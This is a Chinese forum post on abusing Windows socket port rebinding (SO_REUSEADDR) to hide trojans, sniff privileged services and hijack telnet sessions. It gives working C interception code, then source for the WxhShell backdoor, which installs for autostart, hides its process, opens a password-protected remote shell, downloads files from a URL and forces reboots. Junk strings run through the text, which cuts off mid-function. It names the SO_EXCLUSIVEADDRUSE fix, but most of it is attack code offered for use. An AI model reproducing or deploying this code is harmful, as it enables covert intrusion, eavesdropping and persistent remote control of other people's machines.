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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: \,sg)^w@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {5Eyr$  
t#<KxwhcN  
  saddr.sin_family = AF_INET; hN(L@0)  
'5};M)w  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 3D)b*fPc  
.dI)R40L/\  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?Ay3u^X  
(Q-I8Y8l8  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 qi+&|80T.  
mjEs5XCC"  
  这意味着什么?意味着可以进行如下的攻击: vv 7+ >%  
o6?l/nJ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2[dIOb4b  
g]`bnZ7  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) FBsn;,3<W  
/qxJgoa  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,.g}W~S)  
H2Eb\v`#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  gKL1c{BV  
P Tnac  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +zRh fIJHH  
H_X?dj15  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 #@Ujx_F  
B#tdLv"I  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 St>`p-  
Isovwd  
  #include 64D%_8#m  
  #include 4&N$:j<  
  #include >IR$e=5$  
  #include    vSM_]fn  
  DWORD WINAPI ClientThread(LPVOID lpParam);   fQQ |gwVki  
  int main() e`sw*m5  
  { Y&,rTa  
  WORD wVersionRequested; m{&w{3pQk  
  DWORD ret; ';/84j-3F  
  WSADATA wsaData; $o^e:Y , a  
  BOOL val; lEfBe)7+  
  SOCKADDR_IN saddr; \>)f5 gV@  
  SOCKADDR_IN scaddr; KtMbze  
  int err; 6.Bh3p  
  SOCKET s; :pd&dg!5  
  SOCKET sc; Bp0bY9xLg_  
  int caddsize; k!doIMj  
  HANDLE mt; j??tmo  
  DWORD tid;   PV,"-Nv,  
  wVersionRequested = MAKEWORD( 2, 2 ); JIUtj7 HQ  
  err = WSAStartup( wVersionRequested, &wsaData ); >%c*Xe  
  if ( err != 0 ) { b|ZLX:  
  printf("error!WSAStartup failed!\n"); G+yL;G/  
  return -1; d,R6` i  
  } Zu=kT}aGg  
  saddr.sin_family = AF_INET; 6;JP76PD  
   ozxYH],  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 p^8 JLC  
] C,1%(  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 6wpU6NU  
  saddr.sin_port = htons(23); ;i9>}]6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >Me]m<$E;  
  { B~_Spp  
  printf("error!socket failed!\n"); ZT9IMihV  
  return -1; k ]bPI$  
  } ? : md  
  val = TRUE; 6_U |(f  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 n{=7 yK  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) > tEK+Y|N}  
  { G{A)H_o*  
  printf("error!setsockopt failed!\n"); 4p x_ZD#J  
  return -1; E!@/NE\-  
  } u&SZ lkf6%  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; hwDXm9  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 p!GZCf,   
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 MOyT< $  
a*Jn#Mx<M  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Uk02IOXQ  
  { ?48AY6  
  ret=GetLastError(); p1 4d ,}4W  
  printf("error!bind failed!\n"); b8HE."*t  
  return -1; tzNaw %\  
  } t{=i=K 3  
  listen(s,2); 6+Jry@  
  while(1) V5X i '=  
  { <~O}6HQ#  
  caddsize = sizeof(scaddr); c `ud;lI  
  //接受连接请求 ?{j@6,  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); M,JA;a, _  
  if(sc!=INVALID_SOCKET) !a4cjc(  
  { !u%9;>T7  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Oc^m_U8>^  
  if(mt==NULL) SW;HjQ>V  
  { !3HsI| $<G  
  printf("Thread Creat Failed!\n"); (0g7-Ci  
  break; F8 ?uQP8  
  } n7+aM@G  
  } aG Ef#A  
  CloseHandle(mt); 3d@ef |  
  } <c\]Ct  
  closesocket(s); NGj"ByVjx  
  WSACleanup(); [Gf{f\O  
  return 0; }\4p3RQrz  
  }   p6[#f96^u  
  DWORD WINAPI ClientThread(LPVOID lpParam) IwM8#6;S~  
  { _iq2([BpL  
  SOCKET ss = (SOCKET)lpParam; Q^|6J#o[9  
  SOCKET sc; @9<S*  
  unsigned char buf[4096]; t]r7cA  
  SOCKADDR_IN saddr; x?rbgsB5&  
  long num; &_YtY47  
  DWORD val; L^jaBl  
  DWORD ret; Dh?vU~v(6  
  //如果是隐藏端口应用的话,可以在此处加一些判断 W[GQ[h  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   9H[/Tj-;  
  saddr.sin_family = AF_INET; `11#J;[@G  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); wH#-mu#Yl<  
  saddr.sin_port = htons(23); Tr$i= M  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) g#Mv&tU  
  { jPpRsw>  
  printf("error!socket failed!\n"); eB7>t@ED  
  return -1; + lP5XY{  
  }  *0-v!\{  
  val = 100; 8Yxhd .  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &!6DC5  
  { HrDTn&/  
  ret = GetLastError(); . Jb?]n  
  return -1; CvP`2S\  
  } O!yakU+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r/^tzH's  
  { &:q[-K@!  
  ret = GetLastError(); \.kTe<.:_  
  return -1; =tNzGaWJ  
  } joY1(Y  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) e"PMvQ  
  { srsK:%`  
  printf("error!socket connect failed!\n"); Gxo# !  
  closesocket(sc); n+X1AOE[L  
  closesocket(ss); fMyE&#}z  
  return -1; |@+8]dy:l  
  } ;hkro$  
  while(1) zdqnL^wb  
  { jjX'_E  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3y/1!A3  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 X:R%1+&*  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 m,=)qex  
  num = recv(ss,buf,4096,0); .B6`OX&k  
  if(num>0) QTeFR&q8  
  send(sc,buf,num,0); 8i[".9}G\  
  else if(num==0) ,;7`{Nab  
  break; E3LBPXK  
  num = recv(sc,buf,4096,0); W\'Nv/L  
  if(num>0) 1Jl{1;c  
  send(ss,buf,num,0); w[e0wh`.  
  else if(num==0) yB=C5-\F  
  break; EZ..^M3  
  } iwB8I^  
  closesocket(ss); 0Y[*lM-  
  closesocket(sc); {ip=iiW2  
  return 0 ; #>@<n3rq  
  } <Kh?Ad>N  
?_8%h`z  
y-%nJD$  
========================================================== Xm%iPrl D  
2ve lH;  
下边附上一个代码,,WXhSHELL &K+  
+O&RBEa[  
========================================================== l_bL,-|E8  
]NbX`'  
#include "stdafx.h" L7s>su|c(  
r >E\Cco  
#include <stdio.h> hx*HY%\P  
#include <string.h> >'eB2  
#include <windows.h> Z+r%_|kZ  
#include <winsock2.h> mVa?aWpez  
#include <winsvc.h> Q@7l"8#[t  
#include <urlmon.h> nt drXg  
,tcP=f dk]  
#pragma comment (lib, "Ws2_32.lib")  <V7SSm  
#pragma comment (lib, "urlmon.lib") j.<:00<  
MRjH40" 2  
#define MAX_USER   100 // 最大客户端连接数 Tt{U"EFO  
#define BUF_SOCK   200 // sock buffer A*rZQh b[  
#define KEY_BUFF   255 // 输入 buffer u82h6s<'W  
IO^:FnJJv  
#define REBOOT     0   // 重启 fS5GICx8R  
#define SHUTDOWN   1   // 关机 hyJ ded&D  
W+8BQ- 2  
#define DEF_PORT   5000 // 监听端口 '$n:CNha  
N[0 xqQ  
#define REG_LEN     16   // 注册表键长度 a3Z :C!|O'  
#define SVC_LEN     80   // NT服务名长度 TNyK@~#m  
f#'8"ff*1  
// 从dll定义API AGl|>f)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zhuy ePn  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 67}]s@:l](  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P#w}3^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r hiS  
m$7x#8gF  
// wxhshell配置信息 +8Of-ZUx  
struct WSCFG { m5X3{[a :  
  int ws_port;         // 监听端口 l#X=]xQf  
  char ws_passstr[REG_LEN]; // 口令 wy,Jw3  
  int ws_autoins;       // 安装标记, 1=yes 0=no J"/ JRn  
  char ws_regname[REG_LEN]; // 注册表键名 5dg-d\ 6S  
  char ws_svcname[REG_LEN]; // 服务名 NS7@8 #C  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 AF6d#Klog  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 dNOX&$/=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F5<"ktnI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no G /NT e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;[FW!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  KYnW7|*  
fndK/~?]H  
}; >{j,+$%kp  
=$^Wkau  
// default Wxhshell configuration eFt\D\XOW  
struct WSCFG wscfg={DEF_PORT, K?5B>dv@A  
    "xuhuanlingzhe", 2=igS#h  
    1, ` %FIgE^  
    "Wxhshell", }V\P,ck  
    "Wxhshell", }%-UL{3%  
            "WxhShell Service", ]cx"  
    "Wrsky Windows CmdShell Service", \Pw8wayr%  
    "Please Input Your Password: ", "V*kOb&'*Z  
  1, =#OHxM  
  "http://www.wrsky.com/wxhshell.exe", jz{(q;  
  "Wxhshell.exe" xP8iz?6"V  
    }; jz|Wj  
ybD{4&ZE  
// 消息定义模块 (! xg$Kz@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )$ ofl%+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; aEcktg6h  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i!CKA}",  
char *msg_ws_ext="\n\rExit."; mgJShn8]  
char *msg_ws_end="\n\rQuit."; B0-4 ZT  
char *msg_ws_boot="\n\rReboot..."; ML=hKwCA  
char *msg_ws_poff="\n\rShutdown..."; 9 eSN+q  
char *msg_ws_down="\n\rSave to "; 80{#bb  
K)yCrEZ  
char *msg_ws_err="\n\rErr!"; "WF( 6z#  
char *msg_ws_ok="\n\rOK!"; >{O[t2&  
e#l*/G*,  
char ExeFile[MAX_PATH]; g0^~J2sDd  
int nUser = 0; @?<N +qdH>  
HANDLE handles[MAX_USER]; Y&?|k'7  
int OsIsNt; =?meO0]y  
s(1_:  
SERVICE_STATUS       serviceStatus; JIyBhFI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :NwMb^>  
`U {o:  
// 函数声明 {toyQ)C7  
int Install(void); qR [}EX&3  
int Uninstall(void); =q_&* '  
int DownloadFile(char *sURL, SOCKET wsh); 91-P)%?  
int Boot(int flag); Ft3N#!ubl  
void HideProc(void); i1b4 J  
int GetOsVer(void); 3R)cbwL  
int Wxhshell(SOCKET wsl); Y0/jH2n  
void TalkWithClient(void *cs); '_q: vjX  
int CmdShell(SOCKET sock); =$"zqa.B6  
int StartFromService(void);  opUKrB  
int StartWxhshell(LPSTR lpCmdLine); ~[ d=s  
'+ o:,6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /3)YWFZZc  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); u~/M  
!A'`uf4u  
// 数据结构和表定义 o9U0kI=W  
SERVICE_TABLE_ENTRY DispatchTable[] = GN htnB  
{ s`8M%ZLu  
{wscfg.ws_svcname, NTServiceMain}, OmTZ-*N  
{NULL, NULL} w\"n!^ms  
}; n:5O9,umZ  
?=;e.qK=71  
// 自我安装 cCo07R  
int Install(void) GW>7R6i  
{ Gt\K Ln  
  char svExeFile[MAX_PATH]; W (=Wg|cr  
  HKEY key; ]wkSAi5z*  
  strcpy(svExeFile,ExeFile); "!%w9  
XE f&Yd  
// 如果是win9x系统,修改注册表设为自启动 3b g4#c  
if(!OsIsNt) { ^DW#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /(hP7_]`2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :$SRG^7md  
  RegCloseKey(key); ; McIxvj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r 85Xa'hh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G+#| )V  
  RegCloseKey(key); F:*[  
  return 0; <FUqD0sQ  
    } |xsV(jK8  
  } AiyvHt  
} ps!5HZ2:  
else { Vq\..!y  
U}RS*7`  
// 如果是NT以上系统,安装为系统服务 Q.pEUDq/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); b*'=W"%\  
if (schSCManager!=0) Ckl7rpY+  
{ 0@sr NuW  
  SC_HANDLE schService = CreateService V7B=+(xK  
  ( H0D>A<Ue  
  schSCManager, 9Sx<tj_4P{  
  wscfg.ws_svcname, WTV3p,;6a  
  wscfg.ws_svcdisp, :|n>H+Y  
  SERVICE_ALL_ACCESS, X%4uShM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *O(/UVuD\  
  SERVICE_AUTO_START, | Q1ub S  
  SERVICE_ERROR_NORMAL, p0[,$$pM  
  svExeFile, |"Xi%CQ2  
  NULL, zJG x5JC  
  NULL, .WL\:{G8;  
  NULL,  =BqaGXr  
  NULL, 0_,3/EWa  
  NULL X YNUss  
  );  \pewbu5^  
  if (schService!=0) #FQm/Q<0  
  { dVsAX(  
  CloseServiceHandle(schService); 4,w{rmj  
  CloseServiceHandle(schSCManager); h 0QYoDvbC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ctc`^#q  
  strcat(svExeFile,wscfg.ws_svcname); Z!*8JaMT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { G!e}j @@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u'$yYzBE  
  RegCloseKey(key); m]-v IUpb  
  return 0; }QWTPRn  
    } RKo P6LGw  
  } T}w*K[z $  
  CloseServiceHandle(schSCManager); AjL?Qh4  
} LRCS)UBY(.  
} BqLtTo?'  
"x:)$@  
return 1; Y6;0khp  
} =XacG}_  
|oBdryi  
// 自我卸载 5|6z1{g8  
int Uninstall(void) siss_1J  
{ (. quX@w"m  
  HKEY key; ,rH)}C<Q+  
80s~ae;  
if(!OsIsNt) { /SPAJHh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3I>S:|=K  
  RegDeleteValue(key,wscfg.ws_regname); ^7~SS2t!  
  RegCloseKey(key); _Y ><ih  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0'\FrG  
  RegDeleteValue(key,wscfg.ws_regname); k@t,[  
  RegCloseKey(key); G3_mWppH  
  return 0; g<hv7?"[  
  } t'=~"?T/o  
} CQ8o9A/  
} ir@N>_  
else { f1]AfH#  
"#\bQf}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A=qW]Im  
if (schSCManager!=0) /4"S}P>f  
{ xPfnyAo?%z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uG(~m_7Hx  
  if (schService!=0) ,syA()  
  { rd"]@ ~v1  
  if(DeleteService(schService)!=0) { F;MT4*4  
  CloseServiceHandle(schService); <_sT]?N #  
  CloseServiceHandle(schSCManager); cP#]n)<  
  return 0; 8Snq75Q<   
  } )HzITsFZKT  
  CloseServiceHandle(schService); ~kj(s>xP  
  } #o r7T^  
  CloseServiceHandle(schSCManager); f<> YYeY  
} ~U7\ LBF  
} )Py+jc.  
Z '>eT)  
return 1; G%p!os\>  
} :WfB!4%!  
d WB8  
// 从指定url下载文件 !(ux.T0  
int DownloadFile(char *sURL, SOCKET wsh) >D p6@%  
{ X^ ^?}>t[  
  HRESULT hr; SbPjU5 0  
char seps[]= "/"; Z'EO   
char *token; IjB*myN.  
char *file; Z;~E+dXC  
char myURL[MAX_PATH]; B'gk/^6$eg  
char myFILE[MAX_PATH]; $MJDB  
!{]v='   
strcpy(myURL,sURL); oVEr{K)  
  token=strtok(myURL,seps); ,5<`+w#a  
  while(token!=NULL) 2GD mZl  
  { yz2oS|0'  
    file=token; R 6yvpH  
  token=strtok(NULL,seps); 602eLV)  
  } xZ @O"*{  
S9"y@F <  
GetCurrentDirectory(MAX_PATH,myFILE); ANpY qV  
strcat(myFILE, "\\"); WlQ&Yau  
strcat(myFILE, file); Etr8lm E  
  send(wsh,myFILE,strlen(myFILE),0); S4:\`Lo-;  
send(wsh,"...",3,0); {u_k\m[Y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4|Gs(^nU  
  if(hr==S_OK) SKc T  
return 0; PcSoG\- G<  
else dpGQ0EzH^  
return 1; P!6e  
n"d)  
} l#vw L15  
&v9PT!R~  
// 系统电源模块 dT@SO  
int Boot(int flag) SE}RP3dF!  
{ sO4}kxZ  
  HANDLE hToken; .vOpU4  
  TOKEN_PRIVILEGES tkp; |b'<XQ&l5  
k89gJ5B$  
  if(OsIsNt) { N13;hB<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C"` 'Re5)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); NK#"qK""k  
    tkp.PrivilegeCount = 1; %]sEt{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]BQWA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hPXVPLm7I  
if(flag==REBOOT) { }zS&H-8K  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6 9I.*[  
  return 0; E5[]eg~w%{  
} E=_B@VJknW  
else { :: 72~'tw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >yT@?!/Q>'  
  return 0; zm3MOH^a  
} ~lalc ^  
  } 8.%a"sxr  
  else { cA*X$j6  
if(flag==REBOOT) { q(PT'z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >A(?Pn{|a  
  return 0; h,6S$,UI  
} .' 2gJ"?,  
else { dR, NC-*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I^\bS  
  return 0; s)DNLx  
} `J ,~hK  
} /'=^^%&:B  
89- 8v^ Pq  
return 1; ~CdseSo 9  
} =#")G1A  
19-yM`O  
// win9x进程隐藏模块 &Cpxo9-  
void HideProc(void) *DI:MBJY  
{ }!7DF  
k$x 'v#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K\E]X\:  
  if ( hKernel != NULL ) 4C9"Q,o%&  
  { R6@~   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); a~eLkWnh<k  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @?cXa: tX  
    FreeLibrary(hKernel); b= ec?n #7  
  } :2Rci`lp  
8J?`_  
return; X-r,>o:  
} V45Udwp ^  
yY-t4WeXP  
// 获取操作系统版本 =qR7-Q8B  
int GetOsVer(void) DHNii_w4v  
{ Ho8.-QSG  
  OSVERSIONINFO winfo; d!z).G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H6\ x.J^,  
  GetVersionEx(&winfo); ihY^~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ecI 2]aKi  
  return 1; {2*l :'  
  else +ET  
  return 0; hsVJ&-#  
} Sq8Q *  
B';> Hk  
// 客户端句柄模块 T2_#[bk*d  
int Wxhshell(SOCKET wsl) Ihq@|s8  
{ a;owG/\p  
  SOCKET wsh; .,K?\WZ  
  struct sockaddr_in client; ~0r.3KTl"Y  
  DWORD myID; KY34 'Di  
Qufv@.'AY  
  while(nUser<MAX_USER) Y {|~A  
{ -j=&J8Za  
  int nSize=sizeof(client); $`dNl#G,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /(pD^D  
  if(wsh==INVALID_SOCKET) return 1; IoHkcP[H  
}%d-U;Tt2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tBI+uu aa2  
if(handles[nUser]==0) s=Q*|  
  closesocket(wsh); '\E{qlI  
else HYnqx>L ~  
  nUser++; {1U*: @j  
  } *k]S{]Y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a`X&;jH0ef  
=X5&au o  
  return 0; ~ 2oP,  
} : It W|  
3[i !2iL.  
// 关闭 socket G$`4.,g  
void CloseIt(SOCKET wsh) uW'4 Kt  
{ QuRg(K%:  
closesocket(wsh); ^(JbJ@m/  
nUser--; GfPz^F=ie.  
ExitThread(0); N4DDH^h  
} lR2;g:&H  
L[r0UXYLV  
// 客户端请求句柄 7b%Cl   
void TalkWithClient(void *cs) K2 K6  
{ 4_0/]:~5  
Vg~ kpgB  
  SOCKET wsh=(SOCKET)cs; }w^ T9OC  
  char pwd[SVC_LEN]; ZBq*<VtV  
  char cmd[KEY_BUFF]; s1$#G!'  
char chr[1]; Cj9O [  
int i,j; iT9Ex9RL  
<$2zr4  
  while (nUser < MAX_USER) { ^o\p|f>f  
dq/?&X  
if(wscfg.ws_passstr) { 5@A=, GPUn  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \.|A,G=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  CF92AY  
  //ZeroMemory(pwd,KEY_BUFF); ^&/&I9z  
      i=0; .eXA.9 |jm  
  while(i<SVC_LEN) { `v2l1CQ: ^  
Ngc+<  
  // 设置超时 w$:)wyR-  
  fd_set FdRead; =usDI<3r  
  struct timeval TimeOut; ^J~4~!  
  FD_ZERO(&FdRead); )t|Q7$ v1  
  FD_SET(wsh,&FdRead); Kf^F#dA  
  TimeOut.tv_sec=8; ZDJWd=E  
  TimeOut.tv_usec=0; KY&,(z   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D\*_ulc]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >Io7h#[u  
xxcDd_z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QF "&~  
  pwd=chr[0]; #LgoKiP!Y  
  if(chr[0]==0xd || chr[0]==0xa) { <7] Y\{+  
  pwd=0; ioCkPj  
  break; R+hS;F nh%  
  } q$'&RG  
  i++; oxXW`C<  
    } lj*913aFh  
Z9~Wlt'?  
  // 如果是非法用户,关闭 socket [F{a-i-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z9O/MHT[w  
} |Z|xM  
tg3JU\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O t<%gj;^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0)a?W,+O  
!Y(qpC:$  
while(1) { Fe< t@W  
JlGD.!`  
  ZeroMemory(cmd,KEY_BUFF); 7]zZh a4X  
5mVu]T`  
      // 自动支持客户端 telnet标准   !sQ8,l0h  
  j=0; bx e97]  
  while(j<KEY_BUFF) { K -1~K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \ySc uT  
  cmd[j]=chr[0];   NX_S  
  if(chr[0]==0xa || chr[0]==0xd) { >*xzSd? \  
  cmd[j]=0; (k.7q~:  
  break; e-=PT 1T`  
  } 4!%LD(jB`B  
  j++; Y!$ z7K  
    } oHnpwU  
6dp_R2zH~o  
  // 下载文件 q#-H+7 5  
  if(strstr(cmd,"http://")) { ~0Q72  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); i>zyn-CuW  
  if(DownloadFile(cmd,wsh)) Dy@NgHe  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =JH,RQ *  
  else wGX"R5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <qt%MM [Y  
  } )pa|uH +N  
  else { 1*b%C"C  
gRI|rDC)B  
    switch(cmd[0]) { nDw9  
  VSFl9/5?  
  // 帮助 %y+j~]^:  
  case '?': { --)[>6)I  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8}T3Fig,q  
    break; bkIA:2HX  
  } EA#!h'-s  
  // 安装 L-gF$it\*b  
  case 'i': { E |3aiC,5  
    if(Install()) {z_pL^S'52  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .6#2i <oPW  
    else M4\Io]}-M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zotv]P2k  
    break; wuQkeWxJ  
    } =K8h)B_g  
  // 卸载 OAOmd 4  
  case 'r': { 0k<%l6Bq  
    if(Uninstall()) 0M-AIQ5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [~S0b  
    else _lqAxWH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <sOB j'  
    break; <P- r)=^  
    } K\Q 1/})  
  // 显示 wxhshell 所在路径 j,jUg}b  
  case 'p': { QNEaj\   
    char svExeFile[MAX_PATH]; -.{7;6:(k  
    strcpy(svExeFile,"\n\r"); ,CF~UX% bU  
      strcat(svExeFile,ExeFile); ^KR(p!%  
        send(wsh,svExeFile,strlen(svExeFile),0); p?nVPTh  
    break; u\?u}t v  
    } 1sA-BQL  
  // 重启 bNgcZ V.  
  case 'b': { 9z}kkYk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  ond/e&1  
    if(Boot(REBOOT)) iJeT+}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2eYkWHi  
    else { ~VF,qspO  
    closesocket(wsh); Mq?21gW  
    ExitThread(0); 7?s>u937  
    } *CSFkWVa  
    break; e(A&VIp  
    } Mla,"~4D5  
  // 关机 h,G$e|[?  
  case 'd': { !<ucwWY,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tWI hbt  
    if(Boot(SHUTDOWN)) Y7HWf  
